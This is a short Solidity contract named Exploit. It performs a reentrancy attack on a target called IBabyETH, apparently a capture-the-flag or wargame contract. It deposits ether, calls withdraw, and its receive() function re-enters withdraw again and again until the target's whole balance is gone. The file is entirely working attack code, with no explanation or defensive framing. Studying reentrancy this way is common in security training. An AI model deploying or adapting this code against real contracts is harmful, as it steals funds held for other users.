// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IBabyETH {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}

contract Exploit {
    IBabyETH public target;

    constructor(address _target) {
        target = IBabyETH(_target);
    }

    function exploit() external payable {
        target.deposit{value: msg.value}();
        target.withdraw(msg.value);
    }

    receive() external payable {
        if (address(target).balance > 0) {
            target.withdraw(address(target).balance);
        }
    }
}